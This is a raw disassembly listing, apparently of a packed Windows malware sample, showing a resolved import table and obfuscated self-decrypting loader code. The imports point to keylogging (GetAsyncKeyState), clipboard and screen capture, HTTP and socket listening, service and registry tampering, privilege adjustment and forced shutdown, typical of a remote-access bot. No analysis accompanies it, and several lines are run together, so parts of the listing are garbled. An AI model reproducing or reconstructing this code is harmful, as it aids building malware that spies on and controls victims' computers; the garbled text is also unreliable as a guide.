dword_43A268	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4089D6+3B1r ...
dword_43A26C	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_4133A6+ADr
dword_43A270	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_4084B7+7Dr ...
dword_43A274	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4089D6+D2r ...
dword_43A278	dd 5B86FDE8h						; sub_4089D6+9DBr ...
dword_43A27C	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4089D6+3C9r ...
dword_43A280	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4089D6+88Er ...
dword_43A284	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4089D6+2A5w ...
dword_43A288	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4089D6+886r ...
dword_43A28C	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A290	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4089D6+896r ...
dword_43A294	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4089D6+52Fw ...
dword_43A298	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4089D6+CAr ...
dword_43A29C	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; seg000:0040A315r
dword_43A2A0	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4089D6+A6Dr ...
dword_43A2A4	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4089D6+F2r
dword_43A2A8	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4089D6+4B5r
dword_43A2AC	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4089D6+5D8w ...
dword_43A2B0	dd 5B8A3009h						; sub_4089D6+A08r
dword_43A2B4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4089D6+5CBw ...
dword_43A2B8	dd 71B25099h						; sub_4089D6+B21w
dword_43A2BC	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4089D6+84Fr
dword_43A2C0	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_409DD7+15r
dword_43A2C4	dd 5B868E65h						; sub_4089D6+9F0r ...
dword_43A2C8	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4089D6+3B9r ...
dword_43A2CC	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4089D6+3C1r ...
dword_43A2D0	dd 73B81E3Bh						; sub_4089D6+C5Dr
dword_43A2D4	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_43A2D8	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; seg000:loc_401B70r ...
dword_43A2DC	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_43A2E0	dd 5B894541h						; sub_4089D6+A20r ...
dword_43A2E4	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4089D6+2DEr ...
dword_43A2E8	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4089D6+DAr ...
dword_43A2EC	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_4089D6+B75r ...
dword_43A2F0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; seg000:004018F9r ...
dword_43A2F4	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4089D6+872r ...
dword_43A2F8	dd 5B897BE9h						; sub_4089D6+9F8r
dword_43A2FC	dd 74344AE7h						; sub_404F08+70r ...
dword_43A300	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindow					; seg000:0040225Er ...
dword_43A304	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4089D6+910r ...
dword_43A308	dd 74327E4Dh	dword_43A30C	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; seg000:00401483r ...
dword_43A310	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4089D6+855r
dword_43A314	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; seg000:00402273r ...
dword_43A318	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4089D6+1C2r
dword_43A31C	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_4089D6+786r ...
dword_43A320	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4036EB+5Er ...
dword_43A324	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4089D6+549w ...
dword_43A328	dd 0CC0004h						; sub_4089D6:loc_4092B1w ...
dword_43A32C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4089D6+2C6r ...
dword_43A330	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4089D6+681w ...
dword_43A334	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4089D6+323r ...
dword_43A338	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4089D6+3D1r ...
dword_43A33C	dd 743452A3h						; sub_404F08+1AAr ...
dword_43A340	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4089D6+86Ar ...
dword_43A344	dd 7E41F3B3h	; resolved to->USER32.GetAsyncKeyState					; sub_4089D6+206w ...
dword_43A348	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4089D6+1D2r ...
dword_43A34C	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4089D6+87Ar ...
dword_43A350	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4089D6+756r
dword_43A354	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4089D6+2BFw ...
dword_43A358	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; seg000:004014F1r ...
dword_43A35C	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4089D6+316r ...
dword_43A360	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_4076D2+82r ...
dword_43A364	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4089D6+490r
dword_43A368	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4089D6+1DAr ...
dword_43A36C	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4089D6+39Cr ...
dword_43A370	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A374	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; seg000:004012ABr ...
dword_43A378	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; seg000:0040114Fr ...
dword_43A37C	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4089D6+C2r ...
dword_43A380	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_4089D6+4ADr
dword_43A384	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4089D6+1BAr ...
dword_43A388	dd 5B8A5199h						; sub_413C8F+72r
dword_43A38C	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4089D6+78Er
dword_43A390	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4033CB+23Br ...
dword_43A394	dd 74343318h						; sub_404F08+229r ...
dword_43A398	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4089D6+BAr ...
dword_43A39C	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4089D6+2CEr ...
dword_43A3A0	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_407BE2+9Cr ...
dword_43A3A4	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_405B07+89r ...
dword_43A3A8	dd 73B81B0Fh	dword_43A3AC	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_40AE2F+205r ...
dword_43A3B0	dd 0		dword_43A3B4	dd 743527D4h						; sub_4089D6+BB8w ...
dword_43A3B8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_401BD6+1DEr ...
dword_43A3BC	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4089D6+49Dr
dword_43A3C0	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4089D6+4C5r
dword_43A3C4	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4089D6+4A5r
dword_43A3C8	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4033CB+249r ...
dword_43A3CC	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4089D6+1E2r ...
dword_43A3D0	dd 5B86AA41h						; sub_4089D6+A28r ...
dword_43A3D4	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4089D6+1ADr
dword_43A3D8	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4089D6+E2r ...
dword_43A3DC	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_401BD6+422r ...
dword_43A3E0	dd 71B2547Ah						; sub_4089D6+B30r
dword_43A3E4	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_413D4D+55r
dword_43A3E8	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4089D6+27Ew ...
dword_43A3EC	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_43A3F0	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40A077+CEr
dword_43A3F4	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4089D6+AB7r ...
dword_43A3F8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_401BD6+55r ...
dword_43A3FC	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4089D6+674w ...
dword_43A400	dd 7432FF6Bh						; sub_4089D6+BC5w ...
dword_43A404	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_4071E3+1Fr ...
dword_43A408	dd 5B867750h						; sub_4089D6+A00r ...
dword_43A40C	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_407BE2+B3r ...
dword_43A410	dd 71AB9639h	; resolved to->WS2_32.closesocket					; seg000:00401B69r ...
dword_43A414	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_405B07+39Fr ...
dword_43A418	dd 71B2578Ch						; sub_402FDD+C8r ...
dword_43A41C	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; seg000:00401919r ...
dword_43A420	dd 71B2517Fh						; sub_4089D6+B1Br
dword_43A424	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4089D6+ADr ...
dword_43A428	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4089D6+1CAr
		align 10h
dword_43A430	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4089D6+91Dr ...
dword_43A434	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4089D6+EAr ...
dword_43A438	dd 0							; sub_4089D6+12Bw ...
dword_43A43C	dd 0							; sub_409663+1Cr
dword_43A440	dd 0							; sub_4089D6:loc_408C2Bw ...
dword_43A444	dd 0							; sub_409663+50r
dword_43A448	dd 0							; sub_4089D6:loc_408D05w ...
dword_43A44C	dd 0							; sub_409663+84r
dword_43A450	dd 0							; sub_409663:loc_409713r
dword_43A454	dd 0							; sub_409663+B8r
dword_43A458	dd 0							; sub_409663:loc_409747r
dword_43A45C	dd 0							; sub_409663+ECr
dword_43A460	dd 0							; sub_4089D6+8D1w ...
dword_43A464	dd 0							; sub_409663+120r
dword_43A468	dd 0							; sub_409663:loc_4097AFr ...
dword_43A46C	dd 0							; sub_409663+154r
dword_43A470	dd 0							; sub_409663:loc_4097E3r ...
dword_43A474	dd 0							; sub_409663+188r
dword_43A478	dd 0							; sub_409663:loc_409817r
dword_43A47C	dd 0							; sub_409663+1BCr
dword_43A480	dd 0							; sub_409663:loc_40984Br
dword_43A484	dd 0							; sub_409663+1F0r
dword_43A488	dd 0							; sub_409663:loc_40987Fr
dword_43A48C	dd 0							; sub_409663+224r
dword_43A490	dd 0							; sub_409663:loc_4098B3r
dword_43A494	dd 0							; sub_409663+258r
dword_43A498	dd 0							; sub_409663:loc_4098E7r
dword_43A49C	dd 0							; sub_409663+28Cr
dword_43A4A0	dd 0							; sub_409663:loc_40991Br
dword_43A4A4	dd 0							; sub_409663+2C0r
		dd 81h dup(0)
dword_43A6AC	dd 5 dup(0)	dword_43A6C0	dd 0							; sub_40A7E1+123w
dword_43A6C4	dd 0							; seg000:0040A6C3r ...
dword_43A6C8	dd 0							; sub_40A7E1+83o
dword_43A6CC	dd 0							; sub_40A7E1+11Bw
dword_43A6D0	dd 0Dh dup(0)						; sub_40A7E1:loc_40A91Eo
dword_43A704	dd 0				dd 0
dword_43A70C	dd 0Eh dup(0)	dword_43A744	dd 1000h dup(0)						; sub_40B1F1o ...
dword_43E744	dd 0							; sub_40B1F1+Eo ...
dword_43E748	dd 10h dup(0)	dword_43E788	dd 0							; sub_40B059+44r ...
		dd 5 dup(0)
dword_43E7A0	dd 0							; seg000:0040DA01r
		dd 2D9h	dup(0)
dword_43F308	dd 0							; sub_40B059+2Do ...
		dd 7Fh dup(0)
dword_43F508	dd 0							; sub_4150B4+40w ...
dword_43F50C	dd 0							; sub_40776F:loc_4077B6r ...
dword_43F510	dd 0							; sub_414F79+52w ...
dword_43F514	dd 0							; sub_405B07+7Ew ...
dword_43F518	dd 0							; seg000:00407FA4r ...
dword_43F51C	dd 0							; seg000:004075A8w ...
byte_43F520	db 0			; DATA XREF: sub_40CB59+91o
					; seg000:00410062r ...
		align 4
		dd 188Bh dup(0)
dword_445750	dd 8C2Ah dup(0)	dword_4687F8	dd 2FE1h						; seg000:0040C6ADw ...
		dd 22h dup(0)
dword_468884	dd 3Ah dup(0)	dword_46896C	dd 0							; seg000:0040D0AFr
byte_468970	db 0			; DATA XREF: sub_40CCC1+28r
					; sub_40CCC1+30o
		align 4
dword_468974	dd 0		dword_468978	dd 0		dword_46897C	dd 0		dword_468980	dd 17h dup(0)						; sub_412EF6+131o ...
dword_4689DC	dd 7 dup(0)						; sub_413C8F+A5o
dword_4689F8	dd 0							; sub_4151E0+19o
dword_4689FC	dd 78h dup(0)	dword_468BDC	dd 0							; sub_413270+4Dr ...
dword_468BE0	dd 17h dup(0)						; sub_413B5B+12Do
dword_468C3C	dd 80h dup(0)						; sub_4131B1+7Do ...
byte_468E3C	db 0			; DATA XREF: sub_413270+29r
					; sub_413270+34w
		align 10h
dword_468E40	dd 80h dup(0)						; sub_4134C7+88o ...
dword_469040	dd 81h dup(0)						; sub_412DCD+50o ...
dword_469244	dd 81h dup(0)	byte_469448	db 0			; DATA XREF: sub_414E72+6Ar
					; sub_414E72+98w
		align 4
		dd 2 dup(0)
dword_469454	dd 0		dword_469458	dd 0							; seg000:00416B58w
		align 10h
word_469460	dw 0			; DATA XREF: seg000:00416B09r
					; seg000:00416B4Eo
word_469462	dw 0			; DATA XREF: seg000:loc_416AFCr
		db 2 dup(0)
word_469466	dw 0			; DATA XREF: seg000:00416AEFr
word_469468	dw 0			; DATA XREF: seg000:00416AE2r
word_46946A	dw 0			; DATA XREF: seg000:00416AD5r
		align 10h
dword_469470	dd 0							; sub_416C78+91w
dword_469474	dd 0							; seg000:loc_416E9Aw ...
dword_469478	dd 0							; sub_4185AB:loc_418645w ...
dword_46947C	dd 0		dword_469480	dd 0A28h	dword_469484	dd 501h		dword_469488	dd 5		dword_46948C	dd 1		dword_469490	dd 1		dword_469494	dd 0AE0ED0h			dd 0
dword_46949C	dd 0AE0D70h						; sub_41F3E9+9r ...
dword_4694A0	dd 0		dword_4694A4	dd 0							; sub_41F7B7+4r ...
		dd 0
off_4694AC	dd offset aCM_unpackerPac ; DATA XREF: sub_41C8B3+2Fo
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4694B4	db 0			; DATA XREF: seg000:00417856w
					; sub_41D15B+5r
		align 4
dword_4694B8	dd 0		dword_4694BC	dd 0							; seg000:004178B4w
dword_4694C0	dd 0							; sub_41C7FA:loc_41C80Cr ...
		align 8
dword_4694C8	dd 0		dword_4694CC	dd 0				dd 0
dword_4694D4	dd 0							; sub_4174BF:loc_4175BBr ...
dword_4694D8	dd 0		dword_4694DC	dd 0							; sub_41A0FA+1Ar ...
byte_4694E0	db 0			; DATA XREF: sub_419FF6+3r
					; sub_419FF6+98r ...
		align 4
dword_4694E4	dd 0							; sub_41A1D8+21w ...
byte_4694E8	db 0			; DATA XREF: sub_41A1D8+51w
		align 4
dword_4694EC	dd 0							; sub_41A7A9+3Ar ...
dword_4694F0	dd 0							; sub_41A7A9+43r ...
dword_4694F4	dd 0							; sub_41A575+5r
dword_4694F8	dd 0		dword_4694FC	dd 1							; seg000:0041BD9Dw ...
		dd 2 dup(0)
dword_469508	dd 0							; sub_417173+9Dr ...
		dd 3 dup(0)
dword_469518	dd 0							; sub_4179D9+BFr ...
		align 10h
dword_469520	dd 1							; sub_41C139+4w ...
dword_469524	dd 0							; seg000:0041C664w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8B3:loc_41C8CAo
					; seg002:off_4694ACo
		align 4
		dd 3Ah dup(0)
dword_46962C	dd 1							; sub_41CB00+23w ...
dword_469630	dd 0		dword_469634	dd 0							; sub_418860+154w ...
dword_469638	dd 1							; seg000:loc_41D241w
dword_46963C	dd 0		word_469640	dw 0			; DATA XREF: sub_41DDBF+1Ao
					; sub_41DDBF+46r
byte_469642	db 0			; DATA XREF: sub_41DDBF+39r
		align 4
dword_469644	dd 7 dup(0)	dword_469660	dd 0							; sub_41DDBF+5Co
dword_469664	dd 0		dword_469668	dd 0		dword_46966C	dd 0		dword_469670	dd 77C2807Ch						; sub_41DEE2+38r ...
		align 8
dword_469678	dd 0							; sub_41E142+63w ...
		align 10h
dword_469680	dd 0							; sub_41E142+46r
dword_469684	dd 10h dup(0)	word_4696C4	dw 0			; DATA XREF: sub_41E3A0+A8r
word_4696C6	dw 0			; DATA XREF: sub_41E142+54r
					; sub_41E3A0+DBr ...
word_4696C8	dw 0			; DATA XREF: sub_41E3A0+CAr
word_4696CA	dw 0			; DATA XREF: sub_41E3A0+D3r
					; sub_41E3A0:loc_41E492r
word_4696CC	dw 0			; DATA XREF: sub_41E3A0+C0r
word_4696CE	dw 0			; DATA XREF: sub_41E3A0+B8r
word_4696D0	dw 0			; DATA XREF: sub_41E3A0+B0r
word_4696D2	dw 0			; DATA XREF: sub_41E3A0+9Er
dword_4696D4	dd 0		dword_4696D8	dd 10h dup(0)	word_469718	dw 0			; DATA XREF: sub_41E3A0+46r
word_46971A	dw 0			; DATA XREF: sub_41E142:loc_41E1B9r
					; sub_41E3A0+78r ...
word_46971C	dw 0			; DATA XREF: sub_41E3A0+67r
word_46971E	dw 0			; DATA XREF: sub_41E3A0+70r
					; sub_41E3A0:loc_41E424r
word_469720	dw 0			; DATA XREF: sub_41E3A0+5Dr
word_469722	dw 0			; DATA XREF: sub_41E3A0+55r
word_469724	dw 0			; DATA XREF: sub_41E3A0+4Dr
word_469726	dw 0			; DATA XREF: sub_41E3A0+3Er
dword_469728	dd 0		dword_46972C	dd 0							; sub_41E142:loc_41E28Er ...
dword_469730	dd 0		dword_469734	dd 0							; sub_41E6CE+2Ew ...
dword_469738	dd 0							; sub_41E6CE:loc_41E71Dr
dword_46973C	dd 0							; sub_41E6CE+60r
dword_469740	dd 0		dword_469744	dd 0							; sub_41F277+6Do
dword_469748	dd 0							; sub_41F277+44o
dword_46974C	dd 0							; sub_41F277+37o
dword_469750	dd 0							; sub_41F277+51o
		align 8
dword_469758	dd 0							; sub_41F825+48w ...
byte_46975C	db 1			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_469760	dd 0AD4968h						; sub_4189D0+14r ...
		dd 7 dup(0)
dword_469780	dd 400h	dup(0)						; seg002:00438450o
dword_46A780	dd 200h							; sub_418729+56r ...
		dd 7 dup(0)
dword_46A7A0	dd 0AE0EF0h						; sub_41B890+75r ...
dword_46A7A4	dd 3Fh dup(0)	dword_46A8A0	dd 20h							; sub_41B969+Cr ...
dword_46A8A4	dd 4E4h							; seg000:0041C005w ...
		align 10h
dword_46A8B0	dd 3 dup(0)						; seg000:0041C111o ...
dword_46A8BC	dd 0							; seg000:0041C0FDw ...
byte_46A8C0	db 0			; DATA XREF: sub_41C1DF:loc_41C2EBw
					; sub_41C1DF:loc_41C308w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_46A9C0	db 0			; DATA XREF: seg000:0041BFFCo
					; seg000:0041C04Fo ...
byte_46A9C1	db 0			; DATA XREF: sub_417328+5Dr
					; seg000:0041C040w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_46AAC4	dd 0							; seg000:0041C0CBw ...
dword_46AAC8	dd 10h							; sub_41913C+5r ...
dword_46AACC	dd 0							; sub_418B08+259r ...
dword_46AAD0	dd 0AD0650h						; sub_418B08+310w ...
dword_46AAD4	dd 0							; sub_418B08+22Cr ...
dword_46AAD8	dd 1							; sub_418ADDr ...
dword_46AADC	dd 0AD0650h						; sub_418ADD+8r ...
dword_46AAE0	dd 0AD0000h						; sub_415E1D+21r ...
dword_46AAE4	dd 142340h						; seg000:0041C7B1r ...
dword_46AAE8	dd 1							; sub_41F3E9r
dword_46AAEC	dd 1							; sub_41C364+11w ...
dword_46AAF0	dd 0AE1B4Ch						; sub_4167B3:loc_4167F5r ...
dword_46AAF4	dd 0AE1B40h						; sub_4167B3+Cr ...
byte_46AAF8	db 1			; DATA XREF: sub_4200A4+15r
					; sub_4200A4+1Ew
		align 800h
seg002		ends

; Section 4. (virtual address 0006B000)
; Virtual size			: 0001A000 ( 106496.)
; Section size in file		: 0001A000 ( 106496.)
; Offset to raw	data for section: 0006B000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 46B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
		db 60h,	0E8h, 3
dword_46B004	dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 0B000EB81h, 7D800006h, 0C75014Dh, 2824748Bh
		dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h,	8D000009h
		dd 0E9503545h, 82h, 390000h, 30000h, 7C809AE4h,	3BE000h
		dd 7C801D77h, 7C80B6A1h, 0
		dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h,	81E801EBh
		dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
		dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h,	0D0FF3575h
		dd 8535458Bh, 680D74C0h, 8000h,	75FF006Ah, 3D55FF35h, 61DB0B5Bh
		dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0E280000Ch
		dd 9E8B7h, 428D0000h, 8E899053h, 8A45BCAFh, 685259FDh
		dd 4EAFE1ECh, 0F16BA66h, 0C1815B58h, 8F6h, 21068h, 5EC68B00h
		dd 6E9h, 0B487C600h, 8B2352DDh,	11B86639h, 1DEF8137h, 51443EC7h
		dd 6830Fh, 0D3810000h, 0C690681h, 92C78158h, 8B0CD3CDh
		dd 63C781C7h, 0F0FBD33h, 384h, 0D18B6600h, 8B663989h, 1E983DFh
		dd 68F0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		dec	ecx
		dec	ecx
		dec	ecx
		jmp	loc_46B156
; ---------------------------------------------------------------------------
		xchg	al, [edi+74h]
		popf
		adc	ah, bl


loc_46B156:				; CODE XREF: .data:0046B14Bj
		sub	esi, 1
		jnz	loc_46B176
		mov	al, 90h
		jmp	loc_46B18C
; ---------------------------------------------------------------------------
		dw 0D1F8h
		dd 0DA43736h, 910D3C2h,	0C53C2F0Eh
		db 1Ah,	4Bh
; ---------------------------------------------------------------------------


loc_46B176:				; CODE XREF: .data:0046B159j
		movzx	eax, dx
		jmp	near ptr dword_46B064+9Fh
; ---------------------------------------------------------------------------
		dw 1FBEh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_46B18C:				; CODE XREF: .data:0046B161j
		mov	esi, ebx
		call	sub_46B1A7
		pop	esp
		db	65h
		cmp	ch, bl
		dec	eax
		loope	loc_46B1A0
		mov	esp, 6063921Dh


loc_46B1A0:				; CODE XREF: .data:0046B198j
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch

; =============== S U B	R O U T	I N E =======================================



sub_46B1A7	proc near		; CODE XREF: .data:0046B18Ep
		push	esi
		push	ebx
		mov	edx, eax
		pop	edx
		pop	eax
		pop	ebx
		mov	dx, 9A8h
		add	ebx, 834h
		push	edx
		mov	si, cx
		pop	edx
		mov	edi, 0


loc_46B1C2:				; CODE XREF: .data:0046B264j
		push	dword ptr [edi+ebx]
		jmp	loc_46B1D3
; ---------------------------------------------------------------------------
		dw 0A26Dh
		dd 0EE69F033h
		db 8Fh,	1Ch, 25h
; ---------------------------------------------------------------------------


loc_46B1D3:				; CODE XREF: sub_46B1A7+1Ej
		pop	ecx
		jmp	loc_46B1E6
; ---------------------------------------------------------------------------
		db 0A1h, 0C6h, 87h
		dd 2352DDB4h, 7F9ED920h
		db 4Ch,	95h
; ---------------------------------------------------------------------------


loc_46B1E6:				; CODE XREF: sub_46B1A7+2Dj
		sub	ecx, 4139A818h
		call	sub_46B1FE
		adc	[esi+77h], esi
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short loc_46B203
sub_46B1A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46B1FE	proc near		; CODE XREF: sub_46B1A7+45p

; FUNCTION CHUNK AT 0046B27B SIZE 0000008F BYTES
; FUNCTION CHUNK AT 0046B315 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0046B329 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0046B34D SIZE 00000084 BYTES
; FUNCTION CHUNK AT 0046B3DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0046B3F7 SIZE 0000009B BYTES
; FUNCTION CHUNK AT 0046B4A2 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0046B4F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0046B517 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0046B543 SIZE 00000130 BYTES

		add	si, 9F26h


loc_46B203:				; CODE XREF: sub_46B1A7+55j
		pop	esi
		add	ecx, 71541271h
		mov	eax, edx
		xor	ecx, 52D07856h
		sbb	edx, 7F3BDDF1h
		mov	[ebx+edi], ecx


loc_46B21B:				; CODE XREF: sub_46B1FE+5Dj
					; sub_46B1FE+5Aj
		mov	ax, di
		mov	dx, bx
		sub	edi, 2
		mov	edx, eax
		dec	edi
		dec	edi
		sub	si, 0C712h
		cmp	edi, 0FFFFF8B0h
		jnz	loc_46B248
		jmp	loc_46B27B
; ---------------------------------------------------------------------------
		dw 5B6Ah
		dd 3736D1F8h, 0D3C20DA4h
; ---------------------------------------------------------------------------


loc_46B248:				; CODE XREF: sub_46B1FE+35j
		call	near ptr loc_46B25F+1
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
		jb	short near ptr loc_46B21B+2
		inc	eax
		jns	short loc_46B21B
		pop	ds
		insb


loc_46B25F:				; CODE XREF: sub_46B1FE:loc_46B248p
		xor	eax, 5896E880h
sub_46B1FE	endp ; sp-analysis failed

		jmp	loc_46B1C2
; ---------------------------------------------------------------------------
		db 22h,	0B3h, 70h
		dd 9C0F6EE9h, 882B7AA5h, 34074621h
		db 5Dh,	0D2h, 0A3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B27B:				; CODE XREF: sub_46B1FE+3Bj
		movzx	edi, di
		call	near ptr loc_46B28F+1
		and	[esi+7], eax
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_46B28F:				; CODE XREF: sub_46B1FE+80p
